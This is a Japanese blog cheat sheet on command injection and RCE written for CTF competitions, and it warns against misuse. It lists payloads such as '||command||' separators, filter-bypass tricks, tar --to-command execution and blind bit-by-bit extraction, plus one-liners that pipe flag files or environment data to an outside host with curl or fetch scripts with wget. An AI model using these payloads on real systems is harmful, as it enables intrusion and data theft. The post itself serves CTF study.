はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるCommand Injectionまとめ(Linux, Windows, RCE)

この記事はCTFのWebセキュリティ Advent Calendar 2021の14日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

RCE/コマンドインジェクション

  • RCE: Remote Code Execution
    • 遠隔で意図しないコードを走らせることでシステムを侵害するもの
    • コマンドインジェクションは、コマンドインジェクションができるとRCEできてしまうみたいな繋がり
  • RCEの契機

実行時に使えるコマンドについて

Linux

  • よく使う
    • id 実行ユーザーなどの実行情報が得られる。これをコマンドインジェクションのテストに利用しているのをよく見かける
    • env > dump.txt 環境変数持ってくる。Dockerで作られている場合は環境変数にデータが入ってる時がよくある
    • cat [file] fileの中身を画面出力する
      • cat * フォルダのファイルをすべてcatしてくる
      • cat /opt/flag.txtの代わりecho `</opt/flag.txt`echo $(</opt/flag.txt)
  • findテク
    • find / -name "user.txt" 2>/dev/null user.txtというファイルを探してくる
    • find . -type f -exec cat {} + フラグを検索してくるコマンド
    • find / -iname "*flag*" flagという名前の入ったファイル名を探してくるコマンド
    • find / -name user.txt 2>/dev/null user.txtというファイルのパスを探してくるが、エラーが沢山出るときは、/dev/nullに出力して消している
    • find / -name mattermost 2>/dev/null mattermostの設定ファイルを探したいみたいなときはこういうのをやってみる
    • find / -name "user.txt" -exec md5sum {} \; 2>/dev/null 検索結果すべてについてmd5ハッシュ取得したいとき
    • find . -type f -exec tail -n+1 {} + 現在の階層以下のファイルをファイル名付きで中身を表示する
  • 持ってきて外部送信する
    • cat /flag | curl [url] -X POST -d @-
    • cat /flag | base64 | curl [url] -X POST -d @-
    • curl http://mydomain:8080/$(ls flag*)
  • ls
    • ls -la 大体これでいい
    • ls -alps 最終進化系
    • echo opt/*とするとls opt/の代わりに使える
    • head /*とするとls /の代わりに使えるし、中身も表示させる
    • ls -R 再帰的にフォルダの中身を確認できる -Raとすれば隠しフォルダも入る
  • 未分類
    • | less -R 色付きでlessできる
    • echo "[userpass]" | su [username] -c "[command]"
      • あるユーザー権限でコマンド実行したいとき
    • grep flag $(find $PWD -maxdepth 1 -type f -name main.py) | tee '/uploads/flag.txt'
      • $PWDはカレントディレクトリを指し、カレントディレクトリを深さ1でmain.pyという名前のファイルを探してくれる
      • そこから更にgrepでflagが入っている行を探してくる
      • それをパイプでteeコマンドに送り、アップロードフォルダ(ユーザーが直接参照可能な任意のフォルダ)に吐き出している
    • echo '{encoded}' | base64 -d | bash
      • base64化したコードが実行可能
    • base64 req.php
    • wget <webhook-url> これでRCE達成できてるかを確認できる
    • su [username] ユーザー変更
    • grepBinary file (standard input) matchesと言われたときはgrep-aオプションを使えばいい
    • ホスト側でsudo tcpdump -i eth0 icmpとして攻撃側でping [myip]を試すとパケットが来るかで実行できたか判断がつく
    • hostname -i 自身のIPアドレス取得
    • cat all.txt | grep -v "^#" | wc -l 先頭が#の行を削除して行数数えてる
    • grep -l phishing@email.com /home/ranger/Desktop/data/* phishing@email.comが含まれるファイルを探してくる
    • $(env | grep FLAG)でうまくとってこれなかったら、$(env | grep FLAG | base64)で取ってこれたことがある
  • 普通の操作
    • grep [検索したい文字列] -rl [検索対象フォルダのパス] 検索パス配下に検索したい文字列が含まれるファイルをリスト化してくる
    • grep -ir '.*' * 今のフォルダ以下の中身を全部持ってこれるコマンド

Windows

  • whoami ただ単に確認したいとき
  • ipconfig
  • tasklist
  • netstat -an
  • C:\Windows\System32\cmd.exe
    • そのままコマンド使うとき C:\Windows\System32\cmd.exe /c [command]
  • C:\Windows\System32\hostname.exe
    • ホスト名を返す
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

コマンドインジェクション

  • コマンドインジェクション
    • OSコマンドインジェクションみたいにOSが付くときもある
    • RCEの一種で、OSコマンドを呼び出している部分にインジェクションすることで、任意コードを実行する
    • そんな状況あるか?という話だが、メール送信をコマンド頼りにしていたり、最近だとAIエンジンをpythonで作ってて、適当にコマンド呼び出しで実行してたりすると、ありそうかなという感じ。
  • お手軽に差し込む場合は||command||とすればいい
    • 差し込み後にA||command||Bとなった場合、Aが不完全なら異常終了となり、commandが実行される
    • commandが正常終了されるような感じになっていればBは実行されずに終わる
    • ; sleep 10;とか||sleep 10||が最初は良さそう(レスポンスがなくてもわかるし)
  • パイプ文字について
    • A | B Aの標準出力をBの標準入力につなげるやつ
    • A && B Aを実行して正常終了したら、B実行
    • A & B AとBを並列実行
    • A || B Aを実行して異常終了したら、B実行
    • A; B Aを実行して、Bを実行
  • ペイロード
  • `で囲むと実行できたりする
  • 改行することで複文実行できる可能性がある \ncat flag.txtみたいな感じ

名前付きパイプ

  • mkfifoで作成できる
    • lsをしたときに先頭がpとして出てくる
    • 出力しようとすると入力されるまで待つし、逆に入力しようとすると出力されるまで待つ

テクまとめ

  • $(pwd | cut -c1)を使うと、/になる
    • ctf/flag.txtと書きたいけど/がフィルターされてるならctf$(pwd | cut -c1)flag.txtと書ける
  • RCEできるけど文字列制限が厳しい場合
    • 分割輸送テク
      • rm /tmp/[randomstring]
      • echo -n '[command]' >> /tmp/[randomstring]でコマンドを分割輸送
      • sh /tmp/[randomstring]
    • wgetで輸送してくるテク
      • .sh .ch /tmpして.sh wget aaaa.ef/x
      • .sh chmod 777 /tmp/x
  • スペースが使えないとき
    • {echo,hello,world}みたいに書くと、hello worldと出力される
      • {cd,..}&&{ls,-la}&&{cat,--,-FLAG-2-of-2-.txt}
      • ||{cd,..}||{cd,~}&&{ls,-la,icons}"
      • ||{cd,..}&&{ls,-la}&&{cat,index.cgi}
  • cd ..を使うことで../が禁止されててもなんとかなる
  • コマンドの頭に\(バックスラッシュ)をつけると、alias を無視してコマンドを入力できる。
    • lsにエイリアスがついて意地悪されても\lsとすれば従来のlsが実行可能
  • tarコマンド
    • UTCTF: Tar Inspector | Debugmen
    • --to-commandというのがあり、tarファイルの中身のファイルを指してファイル実行ができる
      • evil.shというのを入れたtarファイルで--to-command=sh evil.shとすれば実行可能
    • 後ろでエラーが出てしまうときは--mtime=に全部押し込むとエラーを消せる
  • curlコマンド
  • 検索の後にpipeを差し込むことで実現できたりする。blind command injection
  • base64を使って文字種制限をバイパスする HactivityCon 2021 CTF Web challenge writeup - きなこもち。
    1. echo "base64-decoded payload" > /tmp/payload.txtペイロードを送り込む
    2. echo "import base64" > /tmp/shell.pyecho "exec(base64.b64decode(open('/tmp/payload.txt').read()).decode('utf8'))" >> /tmp/shell.pyで実行コード作成
    3. python3 /tmp/shell.pyで発動
  • Blind Command Injection
    • 外部の通信ができないが、エラー発生などからサイドチャネル的に情報を抜き出してくる
    • st98 の日記帳 - コピーのMicroservices As A Service 1
    • (ord(open('/flag.txt','r').read()[{i}]) %26 (1 << {j})) or 'a'という感じでビット演算を利用して1ビットずつ特定していく

言語/フレームワーク

PHP

Ruby